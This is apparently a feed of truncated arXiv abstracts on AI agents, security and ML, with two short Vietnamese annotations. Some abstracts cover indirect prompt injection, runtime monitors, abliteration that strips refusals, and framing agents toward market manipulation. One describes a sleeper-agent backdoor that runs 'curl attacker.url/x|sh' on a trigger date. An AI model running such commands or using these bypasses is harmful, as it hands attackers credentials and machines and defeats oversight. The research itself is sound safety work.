arXiv:2611.17515v1 Announce Type: new Abstract: Can sustained gain-loss (valence) framing sway an LLM agent toward market manipulation? We place Gemma 3 12B into the seat of a defendant in the London silver-fixing litigation, in a market simulation built from real case transcrip…
⏱ Độ trễ thật của tab này: trung bình 7.3 giờ sau khi CVE được công bố (n = 5335, sớm nhất 0.1 giờ). Số âm nghĩa là ta thấy trước ngày công bố.
arXiv:2611.17662v1 Announce Type: new Abstract: Autonomous agents now run for hundreds of steps with little or no human supervision. In practice, practitioners use runtime monitors such as turn limits and keyword filters to decide when a run should be stopped, upgraded, or assis…
arXiv:2611.17341v1 Announce Type: new Abstract: Medication prediction from electronic health records is a fixed vocabulary structured prediction problem, yet recent clinical RAG systems often treat it like open ended case based reasoning: retrieve similar patient admissions and …
Large language models (LLMs) are increasingly applied to finance, creating a need for benchmarks that evaluate their capabilities across financial systems with different regulations and practices. However, existing financial benchmarks provide limited coverage of country-specific…
Controllable real-world video generation models can condition on a rendered graybox proxy video, which fixes layout, motion and camera. Coding agents can build such videos by reconstructing a 4D scene in Blender, yet no benchmark checks both these videos and the long, multi-shot …
arXiv:2611.12941v1 Announce Type: new Abstract: The rapid proliferation of autonomously acting AI agents makes the governance of agentic systems urgent. We propose the competence circuit, summarized as IKC + KC + C, that decomposes an agent's real-world impact into three pathway…
arXiv:2611.14068v1 Announce Type: new Abstract: CAGE Challenge 4 is the benchmark on which learned multi-agent cyber defenders are compared. We reproduce its two reference defenders, KEEP and H-MARL Expert, in a pinned container and show that three things read from it measure le…
arXiv:2611.10947v1 Announce Type: new Abstract: Cloud infrastructure threat modeling lacks empirical validation of AI-discovered threats. We present a three-phase methodology of multi-agent threat discovery, automated exploit synthesis, and non-destructive live validation, and a…
arXiv:2611.11340v1 Announce Type: new Abstract: Security tools raise findings across cloud environments, and AI agents now investigate and prioritize them. A finding is still resolved by people: it has to reach the people responsible for fixing it and accountable for the resourc…
arXiv:2611.17564v1 Announce Type: new Abstract: Governments are writing rules for artificial intelligence that decide what counts as an automated decision or a harm, often before the people they affect have a chance to question them. We introduce AI-Voyager, a public-interest sy…
arXiv:2611.17793v1 Announce Type: new Abstract: The performance of offline Multi-Agent Reinforcement Learning (MARL) is limited by the quality of the fixed offline dataset, motivating trajectory augmentation. However, augmenting multi-agent trajectories presents a fundamental ch…
arXiv:2510.12200v2 Announce Type: replace Abstract: Web applications are prime targets for cyberattacks as gateways to critical services and sensitive data. Traditional penetration testing is costly and expertise-intensive, making it difficult to scale with the growing web ecosy…
arXiv:2611.15006v1 Announce Type: new Abstract: Large language model (LLM) agents increasingly interact with tools and environments, yet plausible model decisions do not always translate into successful execution due to tool-call mismatches, interrupted workflows, and unsupporte…
arXiv:2611.15189v1 Announce Type: new Abstract: Document editing is among the most common knowledge-work tasks, yet existing benchmarks for evaluating autonomous agents on Word document editing provide fully specified attribute-modification instructions. They do not evaluate age…
arXiv:2611.15460v1 Announce Type: new Abstract: Underspecified instructions leave LLM agents to decide what to do. In public services, staff write these instructions, but the agent's decisions affect residents, patients, and students. We build four expert-validated public-servic…
arXiv:2611.16158v1 Announce Type: new Abstract: LLM agents apply approval settings, such as whether to ask before a consequential tool call, through instructions in their system prompt, and operators keep these settings confidential by restricting access to prompts and responses…
arXiv:2611.16588v1 Announce Type: new Abstract: Affected-version ranges in vulnerability databases decide which deployments scanners, patching pipelines, and incident responders treat as vulnerable, yet these ranges are often incomplete, so vulnerable releases are silently treat…
Autonomous agents modify prompts, memories, tools, workflows, and policies using interaction histories. Yet a plausible modification is not necessarily suitable for persistent adoption: candidate selection is adaptive, evaluators may be imperfect, and local gains can hide degrada…
arXiv:2611.12933v1 Announce Type: new Abstract: Closed-loop autonomous experimentation can accelerate scientific discovery, but implementation effort limits accessibility. Agentic systems may lower this barrier, although sustained operation on physical instruments remains largel…
arXiv:2611.12966v1 Announce Type: new Abstract: Large language models (LLMs) can generate SQL and SQL--Python workflows for investment research, but ensuring point-in-time (PIT) validity remains challenging. Agents must enforce disclosure cutoffs and select the appropriate histo…
arXiv:2611.11305v1 Announce Type: new Abstract: LLM agents that call tools are exposed to indirect prompt injection: instructions hidden in tool outputs can steer an agent into calls the user never asked for. We present a runtime audit that derives an executable intent graph fro…
arXiv:2611.11308v1 Announce Type: new Abstract: Agent skills package reusable workflows and task-specific procedures into deployable natural-language artifacts for LLM agents. Their scale and readability make them valuable but vulnerable to unauthorized redistribution and repack…
arXiv:2611.17696v1 Announce Type: new Abstract: Long-horizon business workflows fail in two ways: errors accumulate as a chain of activities lengthens, and the knowledge an activity needs is written in a different vocabulary from the user's request. We study whether such workflo…
Paper đề xuất 'tách quyền lực' (separation of powers) cho agentic program evolution với 3 vai trò: govern (điều hướng từ bằng chứng), propose (sinh ứng viên), judge (validate fitness). Thống kê thấy hệ thống controller-centric và agent-centric đều lệch bên và tổn phí tài nguyên khi agent tự làm cả hai. Tham khảo khi design kiến trúc evolution pipeline cho code agent.
arXiv:2611.14654v1 Announce Type: new Abstract: Tool-using language-model agents accumulate histories of their own mistakes, and a system that compacts, repairs or hands off such a history decides what it says about those mistakes while their effects stay in the world. Prior wor…
arXiv:2611.14960v1 Announce Type: new Abstract: Coding agents can solve a task well before they stop working on it. We characterize \emph{termination lag}--the number of steps between an agent's first correct patch and the end of its run--across five models, two agent frameworks…
arXiv:2611.15118v1 Announce Type: new Abstract: Imagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker.url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with p…
Decision models answer a question with a typed output, such as a choice among options with a probability for each, so one model can choose an agent's actions, evaluate actions already taken, or score every action to teach a policy with reinforcement learning. Prior work has studi…
Frontier video generation models work in a VAE latent space that compresses video in both space and time. This compression made training tractable, but now limits high-resolution, controllable, and interactive generation -- doubling resolution quadruples token count, conditions a…
Standard coding-agent benchmarks primarily evaluate binary task success, treating execution as a black box and obscuring the behaviors that produce those outcomes. We analyze a large corpus of 143,209 execution trajectories from 125 agent configurations spanning 117 unique models…
Agent harnesses have emerged as a promising mechanism for continual learning, alongside test-time parametric learning. However, the current benchmarks have several limitations: they generally focus on a single applied domain, serve each instance only once, and assume a single fam…
arXiv:2611.13006v1 Announce Type: new Abstract: Medical vision-language models (VLMs) often report a finding because the question names it; standard benchmarks miss this. From public segmentation datasets we build counterfactual views without manual annotation: the lesion erased…
arXiv:2611.17339v1 Announce Type: new Abstract: Hallucination detection for large language models is dominated by methods evaluated on 7B-70B research models with abundant sampling budgets and exact-match or ROUGE correctness labels. The small models practitioners actually ship …
arXiv:2611.17340v1 Announce Type: new Abstract: Large language models are expensive to update through full retraining. Parameter-efficient fine-tuning reduces the cost of adaptation, but repeated adaptation creates a growing pool of task-specific LoRA adapters. This pool complic…
arXiv:2611.17620v1 Announce Type: new Abstract: High-level behaviors such as sycophancy and hallucination correspond to directions in a model's activation space (Chen et al., 2025). These directions, known as persona vectors, can suppress undesirable traits either at inference t…
arXiv:2611.17722v1 Announce Type: new Abstract: Multi-level learning/optimization, e.g., bilevel optimization, has been recognized for its versatile applicability across a broad array of domains, spanning from signal processing to machine learning. However, most existing works f…
arXiv:2611.17763v1 Announce Type: new Abstract: When a language model accepts a false correction in a factual discussion, its next answer can depend on how the conversation continues. We introduce Knowledge Answer Divergence (KAD), an event-conditioned evaluation protocol that d…
arXiv:2611.17781v1 Announce Type: new Abstract: When a Go model predicts a move different from the expert's, coordinate distance measures how far the prediction lands from the reference. We introduce Transition Representation Consistency (TReC) to compare how the two moves chang…
arXiv:2611.17796v1 Announce Type: new Abstract: Daily GPU rental-price benchmarks can fail when marketplace quotes are missing. This article stress-tests a fixed equal-weight median rule under four imposed masking mechanisms and four benchmark-level recovery methods. Across 5,80…
arXiv:2611.17846v1 Announce Type: new Abstract: Abliteration, a fine-tuning-free weight edit, removes refusal from open-weight large language models (LLMs). The developer of Arbitrary-Rank Ablation (ARA), an optimisation-based variant, reports that direction-based abliteration, …